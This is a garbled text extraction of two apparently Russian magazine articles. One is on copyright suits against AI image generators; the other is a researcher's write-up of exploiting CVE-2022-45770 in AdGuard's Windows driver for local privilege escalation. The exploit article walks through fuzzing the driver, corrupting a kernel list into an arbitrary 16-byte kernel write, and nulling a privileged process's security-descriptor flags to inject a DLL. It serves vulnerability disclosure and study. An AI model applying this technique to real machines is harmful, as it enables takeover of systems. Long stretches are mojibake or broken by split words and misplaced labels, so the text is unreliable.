шан сы Getty Images оце нива ются юрис тами гораз до выше, но даже в этом слу -
чае боль шинс тво учас тни ков сог лаша ется, что резуль тат про цес са может быть
неожи дан ным. Добавим сюда такой пре цедент: в Getty ранее уже лицен -
зирова ли изоб ражения раз работ чикам дру гих ней росетей, а раз работ чики
Stable Diffusion решили не пла тить за исполь зование тех же изоб ражений
и метадан ных.

Ан дрес Гуада маз спе циали зиру ется на искусс твен ном интеллек те и автор -
ском пра ве. По его сло вам, иск Getty «име ет серь езные шан сы на успех». «Иск
Getty сфор мулиро ван гораз до точ нее [пре дыду щего] кол лектив ного иска.
Дело, ско рее все го, будет осно вывать ся на иске о наруше нии автор ских прав,
а ответчи ки, веро ятно, будут нас таивать на позиции "доб росовес тно го исполь -
зования". Непонят но, что получит ся в ито ге.»

Аарон Мосс, юрист по автор ско му пра ву в Greenberg Glusker и изда тель
бло га Copyright Lately, сог ласен, что новый иск сфор мулиро ван удач нее упо -
мяну того кол лектив ного иска. «Иск сфо куси рован ров но так, как нуж но:
на вход ном эта пе, при нима ющем для обу чения ней росети изоб ражения,
защищен ные автор ским пра вом. Это будет зах ватыва ющая бит ва за пра во
доб росовес тно го исполь зования».

ÏÀÐÀ ÑËÎÂ Î «ÏÐÅÇÓÌÏÖÈÈ ÍÅÂÈÍÎÂÍÎÑÒÈ»

В сети уже сло мано немало копий по поводу «суда над искусс твен ным
интеллек том». Наибо лее прог рессив ные (сар казм!) учас тни ки дис куссий даже
исполь зовали сло ва «пре зум пция невинов ности». Уточ ню: подан ный в аме -
рикан ский суд иск не име ет отно шения к уго лов ному пра ву, в котором дей -
ству ет пре зум пция невинов ности с тре бова нием доказа тель ств «при отсутс -
твии обос нован ного сом нения» (beyond reasonable doubt). В рам ках граж дан -
ско го про цес са истцу дос таточ но доказать «неб режение» ответчи ка с 51-про -
цен тной сте пенью дос товер ности. В рос сий ском же граж дан ском пра ве и вов -
се  «пре зум пция вины», в рам ках которой наруши тель счи тает ся
винов ным до тех пор, пока не докажет свою невинов ность.

дей ству ет

«Поцелуй», Midjourney, по мотивам Гус тава Клим та

Ê ÑËÎÂÓ, Î ÔÎÒÎÃÐÀÔÈßÕ

Изоб ражения, которые генери рует ней росеть, — это резуль тат работы вычис -
литель ной тех ники и алго рит мов (сов сем как в сов ремен ной циф ровой фотог -
рафии), а роль поль зовате ля, который под бира ет нуж ные клю чевые сло ва,
чем-то напоми нает работу фотог рафа. Каким обра зом законы об автор ском
пра ве защища ют фотог рафии?

В этой области «гол ливуд ское пра во» (то, как обы ватель пред став ляет себе
работу пра воох ранитель ных орга нов по соот ветс тву ющим филь мам) учит нас
тому, что авто ром каж дой фотог рафии счи тает ся человек, который нажал
на кноп ку, а его автор ские пра ва защища ются... защища ются... а как они, собс -
твен но, защища ются?

За под робнос тями отправ лю к статье «
», опуб ликован ной в июне 2021 года в жур нале Суда

по интеллек туаль ным пра вам. Если в двух сло вах, то всё нес коль ко слож нее,
чем мож но понять из гол ливуд ских боеви ков. Так, из статьи по ссыл ке мы узна -
ем, что гер ман ское пра во отде ляет фотог рафичес кие про изве дения (нем.
Lichtbildwerk), на которые рас простра няет ся автор ско-пра вовой режим,
от «прос тых» фотог рафий (нем. Lichtbild), явля ющих ся объ ектом смеж ных прав.
При этом закон не уста нав лива ет чет ких кри тери ев для отне сения фото изоб -
ражения к той или иной катего рии, упо миная лишь, что про изве дени ем,
по смыс лу закона, счи тает ся толь ко лич ное интеллек туаль ное тво рение.

Пра вовые режимы фотог рафии
в рос сий ском пра ве

При нятый в Гер мании под ход соот ветс тву ет под ходу Евро союза, в котором
автор ско-пра вовая охра на пре дос тавля ется не прос то эсте тичес ким фотог -
рафи ям, но толь ко тем из них, которые отра жают лич ность авто ра.

Нес коль ко отли чает ся от прин ципов «гол ливуд ско го пра ва», не так ли?
А ведь есть еще доволь но близ кие к нашей сегод няшней теме «фото изоб -
ражения, соз дава емые с помощью допол нитель ных при ложе ний и прог -
рамм» — для них нет чет ко про писан ных законов, но есть мне ния:

«

»

...èñïîëü çóÿ ãðà ôè÷åñ êèé ðåäàê òîð, àâòîð ñîç äàåò íîâîå èçîá ðàæåíèå,

êîòîðîå ÿâëÿ åòñÿ îðè ãèíàëü íûì, òî åñòü îòðà æàþùèì èíäè âèäó àëü -

íîñòü ñîç äàâøå ãî åãî ëèöà. È ñëå äóåò îáðà òèòü âíè ìàíèå íà ñëå -

äóþùèé ìîìåíò: åñëè îñíî âîé òàêîãî ôîòîï ðîèç âåäåíèÿ ñòà ëî äðó ãîå

îðè ãèíàëü íîå ôîòî, åñòü âñå îñíî âàíèÿ ãîâîðèòü î ñîç äàíèè ïðî -

èçâîäíî ãî ïðî èçâå äåíèÿ (ï. 1 ñò. 1260 ÃÊ ÐÔ), ÷òî íàëàãà åò íà àâòî ðà

ïðî èçâîäíî ãî ïðî èçâå äåíèÿ îáÿ çàí íîñòü ïîëó÷å íèÿ ñîã ëàñèÿ

íà èñïîëü çîâàíèå ïåð âîíà÷àëü íîãî ïðî èçâå äåíèÿ.

Так же опре деле ны «фотог рафии, соз дава емые без учас тия субъ екта пра ва»,
соз дава емые в авто мати чес ком режиме или получа емые слу чай ным обра зом
под вли янием каких-либо внеш них фак торов — нап ример, камера сре аги рова -
ла на живот ное, появив шееся в кад ре. Автор статьи пишет:

«

»

Ïîñ êîëü êó ñóáú åêòîì àâòîð ñêî ãî ïðà âà ìîæåò áûòü òîëü êî ôèçè÷åñ êîå

ëèöî, â ñëó ÷àå åñëè ôîòîã ðàôèÿ áûëà ñäå ëàíà æèâîò íûì, àâòîð ñêèå

ïðà âà íà íåå íå âîç íèêà þò (â òîì ÷èñ ëå íè ó âëà äåëü öà ôîòî àïïà ðàòà,

íè ó õîçÿ èíà æèâîò íîãî) — ïî ñëî æèâ øåìóñÿ ìíå íèþ, ïîëó÷åí íóþ

ôîòîã ðàôèþ ñëå äóåò ðàñ ñìàò ðèâàòü êàê îáùåñ òâåí íîå äîñ òîÿíèå.

По хоже го мне ния при дер жива ется и Андрей Васин, пар тнер, патен тный
поверен ный, «Стэн дмарк», сог ласив ший ся про ком менти ровать нашу статью.

Комментарий юриста
Мож но ли наз вать соз дава емое ИИ изоб ражение «про изве дени ем»? С точ ки
зре ния рос сий ско го законо датель ства — нет, так как авто ром про изве дения
науки, литера туры или искусс тва приз нает ся граж данин, твор ческим тру дом
которо го оно соз дано (ст. 1257 ГК РФ), и имен но авто ру, как физичес кому
лицу, изна чаль но при над лежит исклю читель ное пра во на про изве дение, пра во
авторс тва и дру гие пра ва в соот ветс твии со ст. 1255 ГК РФ.

Я так же счи таю, что поль зователь, который сге нери ровал зап рос, не явля -
ется пра вооб ладате лем (авто ром) получив шегося в резуль тате такого зап роса
изоб ражения, так как объ ект все-таки соз дает не он, а ней росеть. В про тив ном
слу чае поль зователь, сфор мировав ший опре делен ный зап рос в каком-либо
поис ковом сер висе, может пре тен довать на исклю читель ные пра ва
на получен ные резуль таты такого зап роса. Сле дующая слож ность зак люча ется
в ква лифи кации про цес са обу чения ИИ. Если счи тать соз дание изоб ражений
перера бот кой про изве дений, защищен ных автор ским пра вом, то как опре -
делить, какое из мил лиар дов изоб ражений было перера бота но и в какой час ти
оно было вос про изве дено в ито говом изоб ражении? Если счи тать, что про цесс
обу чения ИИ схо ден с про цес сом раз вития интеллек та челове ка, то получа -
ется, что ней росеть учит ся тех нике соз дания изоб ражений, и в этом слу чае
воп рос с перера бот кой отпа дает сам собой.

При текущих обсто ятель ствах я счи таю, что соз данные художес твен ной ней -
росетью изоб ражения явля ются сво бод ными для исполь зования любым лицом
в любых целях. Незави симо от это го, за авто ром и иным пра вооб ладате лем
сох раня ется воз можность защиты сво их прав, если в каком-либо соз данном
ней росетью изоб ражении он узна ет свое про изве дение.

— Àíäðåé Âàñèí, ïàð òíåð, ïàòåí òíûé ïîâåðåí íûé, « »Ñòýí äìàðê

ÂÛÂÎÄÛ

Я с боль шим инте ресом наб людаю за иском про тив раз работ чиков сис тем
диф фузи онных ней росетей. Думаю, как и мно гим, мне хотелось бы получить
инс тру мент для генера ции лицен зион но чис тых изоб ражений. Опре делить сте -
пень и усло вия «лицен зион ности» и дол жен пре цедент, который может быть
соз дан по резуль татам судеб ного про цес са.

mailto:aoleg@voicecallcentral.com
https://github.com/CompVis/stable-diffusion/blob/main/LICENSE
https://stablediffusionlitigation.com/
https://www.theverge.com/2023/1/16/23557098/generative-ai-art-copyright-legal-lawsuit-stable-diffusion-midjourney-deviantart
https://www.copyright.gov/circs/circ14.pdf
https://www.legalzoom.com/articles/copyright-infringement-and-substantial-similarity
https://www.theverge.com/2023/2/6/23587393/ai-art-copyright-lawsuit-getty-images-stable-diffusion
http://www.jurvestnik.psu.ru/index.php/ru/vypusk-4222013/26-2010-12-01-13-31-58/4-22-2013/488-godovalovamnponyatie-i-znachenie-prezyumirovaniya-viny-v-grazhdanskom-prave
http://ipcmagazine.ru/legal-issues/legal-regimes-of-photography-in-russian-law
http://www.standmark.ru/


ИЩЕМ И ЭКСПЛУАТИРУЕМ
УЯЗВИМОСТЬ В ДРАЙВЕРЕ
ADGUARD ДЛЯ WINDOWS

Марсель Шагиев
matador.garta@gmail.com

COVERSTORY

В этой статье я рас ска жу, как нашел
бинар ный баг в драй вере AdGuard. Уяз -
вимость получи ла номер CVE-2022-45770.
Я покажу, как изу чал бло киров щик рек -
ламы и рас кру тил уяз вимость до локаль -
ного повыше ния при виле гий. По дороге
поизу чаем низ коуров невое устрой ство
Windows.

INFO

За кон суль тацию в про цес се иссле дова ния спа -
сибо . В его  кру тые
статьи на тему экс плу ата ции уяз вимос тей
в анти виру сах для Windows. Сей час взгляд
Дениса пал на Avast.

@Denis_Skvortcov бло ге

WARNING

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÊÀÊ ÂÑÅ ÍÀ×ÈÍÀËÎÑÜ

Я мало что понимал в вин довых драй верах до того, как про читал кни гу Пав ла
Йоси фови ча . В кни ге все начина ется с прос того
драй вера в духе Hello World и закан чива ется слож ным драй вером-филь тром.
Так же рас ска зыва ется про отладку драй веров в вир туаль ной машине с WinDbg
на хос те и про типич ные ошиб ки прог рамми рова ния драй веров. Пос ле проч -
тения, конеч но же, хочет ся при менить зна ния на прак тике и разоб рать
какой-нибудь драй вер. Может, нам повезет и мы най дем уяз вимость?

Windows Kernel Programming

INFO

Статья рас счи тана на тех, кто нем ного раз бира -
ется в реверс-инжи нирин ге сиш ного кода. В ней
не будет под робно го раз бора про цес са ревер са.
За более деталь ным опи сани ем ревер са обра -
тись к моей пер вой статье «

».

Раз борки на куче.
Экс плу ати руем хип уяз вимого SOAP-сер вера
на Linux

ÏÎ×ÅÌÓ ADGUARD

 — клас сный бло киров щик рек ламы, под держи вающий шиф рован ный
DNS (DoH, DoT, DoQ). Что бы бло киро вать рек ламные зап росы всех при ложе -
ний, а не толь ко бра узе ра, исполь зует ся WDM-драй вер. Давай уста новим
AdGuard на Windows 10 в вир туаль ной машине и нач нем его изу чать.

AdGuard

Так получи лось, что я уста новил сбор ку для x86, поэто му иссле довать мы
будем 32-бит ный драй вер.

ÏÎÂÅÐÕÍÎÑÒÜ ÀÒÀÊÈ

Пер вым делом нуж но убе дить ся, что драй вер находит ся на повер хнос ти ата ки.
То есть неп ривиле гиро ван ное при ложе ние может открыть драй вер для вза -
имо дей ствия — чте ния, записи и отправ ки IOCTL. В этом нам поможет пара
строк на PowerShell с биб лиоте кой  за авторс твом Джей мса
Фор шоу.

NtObjectManager

Для опре деле ния арте фак тов (фай лов, клю чей реес тра) иссле дуемо го про -
дук та прек расно под ходит ути лита от Microsoft . С ее
помощью нуж но соб рать два снап шота ОС: до уста нов ки иссле дуемой прог -
раммы и пос ле, а так же соз дать дифф, который покажет уста нов ленные арте -
фак ты. Таким обра зом мож но опре делить путь девай са в Object-Manager:

Attack Surface Analyzer

\Device\CtrlSM_Protected2adgnetworkwfpdrv

Ошиб ка при откры тии девай са драй вера

Драй вер открыть не получи лось. Ошиб ка 0xC000010
, и это не 0xC0000022 ! Зна -

чит, дос туп к девай су драй вера у нас есть, но драй веру что-то не пон равилось
в нашем зап росе. Такое стран ное поведе ние — отличный повод прис тупить
к ревер су. Давай откро ем драй вер в IDA и пос мотрим на нес коль ко важ ных
мест.

STATUS_INVALID_DEVICE_REQUEST ACCESS_DENIED

Пер вое мес то — ини циали зиру ющий код драй вера в фун кции .DriverEntry

Фун кция соз дания девай са драй вера

Фун кция  потен циаль но небезо пас на, так как не поз воля ет

явно ука зать DACL. Таким обра зом, DACL берет ся либо из .INF-фай ла, либо
из DACL-тре да или про цес са, который его соз дает. Так же отме тим, что девайс
соз дает ся с неэкс клю зив ным дос тупом ( ).

IoCreateDevice()

EXCLUSIVE_FALSE

INFO

Ре комен дует ся исполь зовать
, куда мож но явно

передать DACL.
IoCreateDeviceSecure()

Ар гумент  при сутс тву ет. Если бы его не было, то

было бы мож но обой ти стро гий DACL, открыв про изволь ный файл на этом
девай се. Смот рим даль ше.

FILE_DEVICE_SECURE_OPEN

Флаг  говорит о том, что usermode-буферы для вызовов

 и  будут мапить ся в прос транс тво ядра и у нас есть

воз можнос ти для ата ки TOCTOU в слу чае  в коде драй вера.
Если бы на мес те это го фла га был , было бы еще инте рес нее.

DO_DIRECT_IO
WriteFile() ReadFile()

double fetch
METHOD_NEITHER

Здесь тоже все нор маль но, дви гаем ся даль ше.
Вто рое мес то — фун кция — обра бот чик откры тия девай са драй вера. Най ти

ее прос то. В коде ини циали зации драй вера необ ходимо явно наз начить обра -
бот чики фун кций ,  и .OpenFile() WriteFile() ReadFile()

Об работ чики usermode-зап росов в коде драй вера

На скрин шотах IDA ты видишь наз вания перемен ных и фун кций, при думан ных
мной во вре мя ревер са. Конеч но же, сим вола от бинаря нам ник то не даст.

OSR Online IOCTL Decoder
Флаг  вли яет на метод переда чи дан ных из юзер мода в ядро

толь ко для  и . Для  метод зашит

в код IOCTL. Для быс тро го прос мотра метода можешь исполь зовать ресурс
.

DO_DIRECT_IO
FileRead() FileWrite() DeviceIoControl()

osronline.com

Без тру да находим обра бот чик откры тия девай са.

Об работ чик IRP_MJ_CREATE

Здесь реали зован кас томный экс клю зив ный дос туп к драй веру — PID открыв -
шего его про цес са сох раня ется в гло баль ную перемен ную . Сле -
дующая попыт ка открыть драй вер воз вра щает ошиб ку

.

hasOwner

STATUS_INVALID_REQUEST
И что это за PID? Кто открыл драй вер рань ше всех? Это сер висный про цесс

. Можем ли мы на него воз дей ство вать? На удив ление — да.

Убить его через  нам не хва тит прав, но у UI-про цес са 

 есть кноп ка «Вык лючить защиту».

AdguardSvc.exe
Terminate() AdguardUI.

exe

Ди ало говое окно отклю чения AdGuard

Ког да про цесс  зак роет ся, сно ва поп робу ем открыть девайс

драй вера.

AdguardSvc.exe

Get-NtFile() с теми же аргу мен тами воз вра щает дру гой резуль тат

По луча ем пра ва на чте ние, запись и отправ ку IOCTL от неп ривиле гиро ван ного
поль зовате ля. Отлично! Повер хность ата ки опре деле на.

На дан ном эта пе иссле дова ния мож но отме тить две ошиб ки.
1. Своя реали зация экс клю зив ного дос тупа к драй веру вмес то нуж ных аргу -

мен тов в . Нек ритич но.IoCreateDevice(EXCLUSIVE_TRUE)

2. Ар хитек турно задума но так, что сер висный при виле гиро ван ный про цесс
экс клю зив но откры вает девайс. Тог да было бы логич но повесить на девайс
соот ветс тву ющий DACL, а по фак ту дос туп име ют все. Кри тич но, так как это
сло мало бы весь attack chain.

Ис сле дова ние мож но было закан чивать пос ле неудач ной попыт ки открыть
девайс драй вера, но мы вни матель но отнеслись к коду ошиб ки и получи ли
пер вую зацеп ку.

Кста ти, про верить DACL девай са ты можешь и с помощью такой коман ды:

. eviceicacls.exe \\ \D \<name>

Ли бо:

 . eviceaccesschk.exe -l \\ \GLOBALROOT\D \<name>

В дизас сем блер ном лис тинге мы замети ли боль шое количес тво обра бот чиков
IOCTL. Что мож но сде лать вмес то того, что бы ревер сить каж дый?

ÔÀÇÇÈÍÃ

Фаз зинг драй веров нес коль ко слож нее фаз зинга юзер модных при ложе ний,
потому что работа про исхо дит не с вир туаль ным прос транс твом единс твен -
ного про цес са, а со всей ОС целиком. Отсю да усложне ние инфраструк туры —
уста нов ка аген та в вир туаль ную машину и запуск ее в QEMU/KVM, как, нап -
ример, в фаз зере .kAFL

Но давай не будем пло дить сущ ности сверх необ ходимо го и най дем
что-нибудь поп роще, а если не сра бота ет прос той вари ант, то уже тог да нач -
нем фар шировать инфраструк туру аген тами и вир туали заци ей. Этот прос той
вари ант — фаз зер . Он прос то отправ ляет ран -
домные IOCTL из юзер мода в драй вер. Без хит рых мутаций, без сбо ра пок -
рытия, без сох ранения стек трей са.

Dynamic Ioctl Brute-Forcer (DIBF)

Ïîäãîòîâêà

Вос поль зуем ся дву мя фичами Windows, которые улуч шат качес тво фаз зинга.
Во-пер вых, вклю чим допол нитель ные про вер ки для иссле дуемо го драй -

вера через ути литу . Это нуж но, что бы повысить веро ятность
нахож дения бага.

Driver Verier

Во-вто рых,  Windows собирать более пол ный дамп памяти в слу чае
падения с BSOD. Это поможет нам в ана лизе кра шей.

поп росим

DIBF

DIBF запус каем вот такой коман дой:

.dibf.exe \\ \CtrlSM_Protected2adgnetworkwfpdrv

Без аргу мен тов DIBF брут форсит коды IOCTL и так же брут форсом опре деля ет
раз меры вход ных буферов для IOCTL. В резуль тате пер вого запус ка соз дает ся
файл .dibf-bf-results.txt

$ type dibf-bf-results.txt
.\\ \CtrlSM_Protected2adgnetworkwfpdrv

22019c 0 2000 <--- IOCTL, min buffer size, max buffer size
22019d 0 2000
...

Вто рым запус ком DIBF чита ет из фай ла IOCTL, и начина ется фаз зинг. Ждем
пят надцать минут и видим резуль тат. Это тот ред кий слу чай, ког да BSOD
вызыва ет радость! Падение про изош ло в иссле дуемом драй вере.

Спа сибо Окка му и его брит ве за фаз зинг без свер хне обхо димых сущ ностей.
Про ана лизи руем резуль таты. Откро ем в WinDbg файл , который

Windows соб рала при падении, выпол ним коман ду  и пос мотрим

на стек трейс.

MEMORY.DMP
analyze -v

Стек трейс при падении ОС

В WinDbg име ем снап шот опе ратив ной памяти на момент падения. Вытас кива -
ем из него базовый адрес модуля  и уже точеч но

начина ем смот реть, что же про изош ло.

adgnetworkwfpdrv.sys

ÐÅÂÅÐÑ ÄÐÀÉÂÅÐÀ

Вот фун кция, в которой слу чилось падение.

Мес то BSOD

Вид но, что про исхо дит обход какого-то спис ка в цик ле while. Что бы не рас -
тягивать статью, я сра зу рас ска жу про резуль таты ревер са и покажу дан ные,
с которы ми работа ет драй вер.

Итак, драй вер соз дает paged pool область памяти с тегом . Там содер -

жится спи сок ука зате лей на хеды singly-linked-спис ков.

FLT3

Ус ловное раз деление адресно го прос транс тва на юзер мод и кер нелмод.
FLT3 находит ся в кер нелмо де

В гло баль ной перемен ной  хра нит ся количес тво струк тур

 (о них поз же). Нам дос тупен IOCTL, который добав ляет эле мент

в спи сок, — .

g_AdgItemsCounter
AdgItem

ADG_INSERT_ITEM

Па мять ядра пос ле вызова IOCTL ADG_INSERT_ITEM

В  записы вает ся текущее зна чение , оно же

и воз вра щает ся в отве те.

AdgItem.index g_AdgItemsCounter

Раз мер спис ка — 0xBCB. Если добавить в него эле мент номер 0xBCC
или боль ше, то в спи сок они будут добав лять ся как бы сле дующим уров нем.

Па мять ядра пос ле мно гок ратно го вызова IOCTL ADG_INSERT_ITEM

INFO

По хоже, что здесь исполь зует ся какой-то хит рый
мно гоуров невый спи сок. Я так и не понял,
для чего это нуж но. Если тебе зна кома такая
орга низа ция дан ных, поделись в ком ментах.

Так же нам дос тупен IOCTL-вызов , который поз воля ет редак -
тировать  по индексу. Кон тро лиру емые дан ные выделе ны крас ным.

ADG_EDIT_ITEM
AdgItem

 Важ но так -
же отме тить, что редак тирова ние дан ных выпол няет ся пос ле успешно го срав -
нения на равенс тво передан ного индекса c .

Ìû êîí òðî ëèðó åì àäðåñ ñëå äóþùå ãî ýëå ìåí òà â ñïèñ êå!

adgItem.index

ÏÎ ÑËÅÄÀÌ ÔÀÇÇÅÐÀ

DIBF выз вал  мно го-мно го раз, затем через 
пов редил один из эле мен тов спис ка. При сле дующем вызове 

совер шает ся обход это го спис ка в цик ле while до момен та, ког да будет най ден
нуж ный эле мент. Еще раз при веду лис тинг фун кции, в которой про изо шел
BSOD, но уже с пояс нени ями.

ADG_INSERT_ITEM ADG_EDIT_ITEM
ADG_EDIT_ITEM

Фун кция поис ка эле мен та в спис ке по индексу

Со ответс твен но, в опре делен ный момент при разыме нова нии 

перехо дим по кор рапчен ному ука зате лю.

adgItem.index
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Че рез кросс-референ сы на фун кцию  находим
еще один нуж ный IOCTL . Он уда ляет эле мент из спис ка

singly-linked по индексу.

AdgGetByIndexFromPool()
ADG_UNLINK_ITEM

Уда ление эле мен та из спис ка. Кон тро лиру емые ата кующим дан ные
попада ют нап рямую в FLT3

Пос коль ку мы кон тро лиру ем , это поз воля ет писать наши

дан ные пря мо в область FLT3 по одно му DWORD.

AdgItem.pNextItem

ÏÐÈÌÈÒÈÂÛ

Ис поль зуя раз ные ком бинации най ден ных IOCTL, мы получа ем два мощ ных
при мити ва. Оба осно ваны на кор рапте singly-linked-спис ка.

 Ком бинация , ,

 поз воля ет писать пос ледова тель ность бай тов в пул FLT3.
Это дает воз можность краф тить фей ковые струк туры в памяти ядра и обхо дить
SMAP.

Ïðè ìèòèâ ïåð âûé. ADG_INSERT_ITEM ADG_EDIT_ITEM
ADG_UNLINK_ITEM

Пер вый при митив. Запись пос ледова тель ных бай тов в FLT3

Од нако в таком при мити ве мало тол ку, если мы не зна ем адрес записы ваемых
дан ных. KASLR рас полага ет FLT3 по слу чай ному адре су.

 Допол няем пре дыду щую ком бинацию. В IOCTL

 переда дим валид ные ядер ные адре са и в цепоч ку IOCTL
добавим еще один вызов  — мощ ней ший при митив arbitrary

write 16 bytes, то есть «про изволь но запиши 16 байт в память ядра».

Ïðè ìèòèâ âòî ðîé.

ADG_EDIT_ITEM
ADG_EDIT_ITEM

Вто рой при митив записи 16 байт в память ядра

Об рати вни мание, что, нап ример, пер вые пять DWORD в FLT3 мы можем
исполь зовать для соз дания струк тур, а шес той — для нашего при мити ва про -
изволь ной записи.

На этом эта пе иссле дова ния вырисо выва ется воз можный экс пло ит.
Исполь зуя эти при мити вы, мы можем соз давать свои объ екты в ядре.

Но для пол ноцен ного исполь зования при мити вов нуж но решить три кри -
тичес кие проб лемы.

Ïðîáëåìû 1 è 2. KASLR

Би нар ные митига ции Windows усложня ют экс плу ата цию. Это, конеч но, клас сно,
что мы можем запол нять FLT3 кон тро лиру емы ми дан ными, но это го мало. Если
мы хотим скраф тить там какой-нибудь объ ект ядра, нуж но знать адрес, что бы
им вос поль зовать ся. Так же нам надо знать адрес какого-нибудь объ екта ядра,
что бы перелин ковать спи сок на него.

Об ратим ся к репози торию . Хоть в пос ледний
раз туда ком митили в 2017 году, тех ники до сих пор рабочие.

windows kernel address leaks

Таб лица тех ник утеч ки адре сов ядра

Боль шинс тво тех ник осно ваны на вызове вот этой недоку мен тирован ной фун -
кции из ntdll:

NtQuerySystemInformation()

Один из вызовов смо жет слить адре са всех невыг ружа емых пулов (non-paged
pool), где мы без тру да оты щем тег . Дру гой вызов сли вает адре са

EPROCESS’ов, токенов и так далее. Но преж де чем выб рать ядер ную струк -
туру, надо обсу дить проб лему номер три.

FLT3

Ïðîáëåìà 3. Ñðàâíåíèå ñ index

Нес мотря на то что мы иссле дуем 32-бит ный драй вер, в струк туре 

индекс хра нит ся в двух DWORD. А зна чение , которым он

ини циали зиру ется, хра нит ся в одном DWORD. Сле дова тель но, вто рой DWORD
всег да будет равен нулю.

adgItem
g_AdgItemsCounter

adgItem в памяти ядра

INFO

Пред положу, что это свя зано с исполь зовани ем
инс трук ции _aullrem для деления с остатком,
которая работа ет с 64-бит ными целыми в 32-
бит ных сис темах.

0xBCC — это . За ним всег да будет сле довать NULL DWORD
(выделе ны крас ным). Если удас тся перелин ковать singly-linked-спи сок
на какой-нибудь объ ект ядра с пат терном «пред ска зуемый DWORD, NULL
DWORD», то смо жем прой ти про вер ку и записать сле дующие 16 байт кон тро -
лиру емы ми дан ными (выделе ны чер ным на рисун ке выше).

adgItem.index

Фун кция записи кон тро лиру емых 16 байт в память ядра

По чему пер вый DWORD дол жен быть пред ска зуем (то есть мы дол жны знать
его из юзер мода заранее)? Нам надо передать в IOCTL  индекс
эле мен та, который будет срав нивать ся с этим DWORD. Если про вер ка
на равенс тво не прош ла, то код драй вера побежит даль ше по singly-linked-
спис ку и ОС выпадет в BSOD, ана логич но тому, как это было во вре мя фаз -
зинга.

ADG_EDIT_ITEM

Итак, подыто жим, какой объ ект ядра нам нужен для про изволь ной записи:
ад рес объ екта про тека ет через Windows Kernel Address Leaks;•
в лей ауте объ екта есть память, удов летво ряющая пат терну «пред ска зуемый
DWORD, NULL DWORD». В качес тве пред ска зуемо го DWORD иде аль но
подой дет DWORD с фла гами;

•

из менение 16 байт за пат терном в объ екте при водит к повыше нию при -
виле гий.

•

Ключ, поз воля ющий записы вать 16 байт в ядре, у нас есть, оста лось най ти
замок, к которо му этот ключ подой дет.

ÝÊÑÏËÓÀÒÀÖÈß

Даль ше методич но изу чаем репози торий Windows Kernel Address Leaks, смот -
рим, какие струк туры ядра про тека ют, и ищем что-нибудь под ходящее
под кри терии выше.

Мож но ликануть адрес струк туры , а зна чит, мож но вычис лить

адрес :

EPROCESS
OBJECT_HEADER

EPROCESS - sizeof(OBJECT_HEADER)

Да вай взгля нем на струк туру  сер висно го про цес са
.

OBJECT_HEADER
AdguardSvc.exe

INFO

Для экс плу ата ции подой дет 
любого при виле гиро ван ного про цес са, прос то я
выб рал про цесс сер виса это го же вен дора.

OBJECT_HEADER

Крас ным выделе на память, под ходящая под пат терн, — пред ска зуемый
DWORD равен шес ти, за ним сле дует NULL DWORD. Шесть — это количес тво
откры тых хен длов для объ екта про цес са .OBJECT_HEADER.HandleCount

Экс пло ит получа ется не самый надеж ный, потому что мы не кон тро лиру ем
тех, кто откры вает хендл. Если, нап ример, анти вирус решит открыть про цесс
для ска ниро вания памяти, то это зна чение ста нет рав ным семи и экс пло ит уро -
нит ОС в BSOD. Но мы не пишем экс пло ит на про дажу, а изу чаем устрой ство
Windows, поэто му слег ка пожер тву ем надеж ностью.

Пат терн мы наш ли, зна чит, мож но будет переза писать сле дующие 16 байт,
а сре ди них — ука затель на дес крип тор безопас ности (Security Descriptor)!
Это ука затель типа  на струк туру, которая содер жит DACL и опи -

сыва ет пра ва дос тупа к объ екту.

EX_FAST_REF

WWW

на сай те CodeMachine.
Под робнее про ука затель типа EX_FAST_REF

Security Descriptor высокоп ривиле гиро ван ного про цес са

Об рати вни мание на наличие фла гов  и . Их
при сутс твие зна чит, что DACL и SACL заданы явно. DACL содер жит два ACE —
высокоп ривиле гиро ван ные поль зовате ли NT SYSTEM и чле ны груп пы адми нис -
тра торов могут открыть хендл про цес са для раз ных опе раций.

SE_DACL_PRESENT SE_SACL_PRESENT

C SACL все не так оче вид но. System Access Control List (SACL) содер жит
не толь ко атри буты логиро вания дос тупа к объ екту, но и его уро вень целос -
тнос ти (integrity level), очень важ ное поле, ког да мы говорим о защите объ -
ектов в Windows. В нашем слу чае это высокий уро вень целос тнос ти .ML_SYSTEM

Что будет, если мы вык лючим эти фла ги? DACL и SACL ста нут NULL.

Security Descriptor пос ле вык лючения фла гов

А что зна чит NULL-ука затель в этих полях для дес крип тора безопас ности?
Обра тим ся к MSDN. Там , что DACL, рав ный null, дает пол ный дос туп
любому поль зовате лю, который его зап росит. Зву чит мно гообе щающе!
Нулевой SACL , что «объ ект будет обра баты вать ся как име ющий сред -
нюю целос тность». Обыч ный поль зователь как раз име ет сред ний уро вень
целос тнос ти.

на писа но

зна чит

Го воря прос тым язы ком, при виле гиро ван ный объ ект с DACL/SACL, рав ным
NULL, может быть открыт прос тым поль зовате лем. Получа ем локаль ное
повыше ние при виле гий.

Это лег ко про верить. Откро ем  пос ле вык лючения

 и  и поп робу ем инжек тнуть в про цесс
какую-нибудь DLL. Успех.

AdguardSvc.exe
SE_DACL_PRESENT SE_SACL_PRESENT

Ин жект DLL в при виле гиро ван ный про цесс пос ле отклю чения фла гов
SE_DACL_PRESENT, SE_SACL_PRESENT

INFO

Гру бо говоря, при откры тии объ екта субъ ектом
ком понент Windows Security Reference Monitor
срав нива ет SID в токене субъ екта (поль зовате ля)
с ACE в дес крип торе безопас ности объ екта. Дес -
крип торы безопас ности уже были в моей статье,
а про токен ты можешь почитать в статье «

».
Изу -

чаем воз можнос ти WinAPI для пен тесте ра

Это зна чит, что пер вым при мити вом мы можем скраф тить сла бый Security
Descriptor в FLT3-области памяти и вто рым при мити вом перепи сать ука затель
на него.

Од нако при мити вом мы перепи сыва ем 16 байт, из них ука затель занима ет
толь ко четыре. Давай еще раз взгля нем на  и пос мотрим, что

находит ся под осталь ными 12 бай тами.

OBJECT_HEADER

16 байт (4 DWORD), которые переза писы вают ся в обя затель ном поряд ке
(выделе ны чер ным)

Ос тавши еся 12 байт из 16 тоже надо про верить.  мож но
перепи сать нулями, и BSOD’а не будет. Про вере но экспе римен таль но.
Про дес крип тор безопас ности мы уже погово рили. 

име ет кон стантное зна чение 3, спо кой но переза писы ваем тем же зна чени ем.
С фла гами 0x88 та же исто рия. Остался один байт 0xC4 

.

ObjectCreateInfo

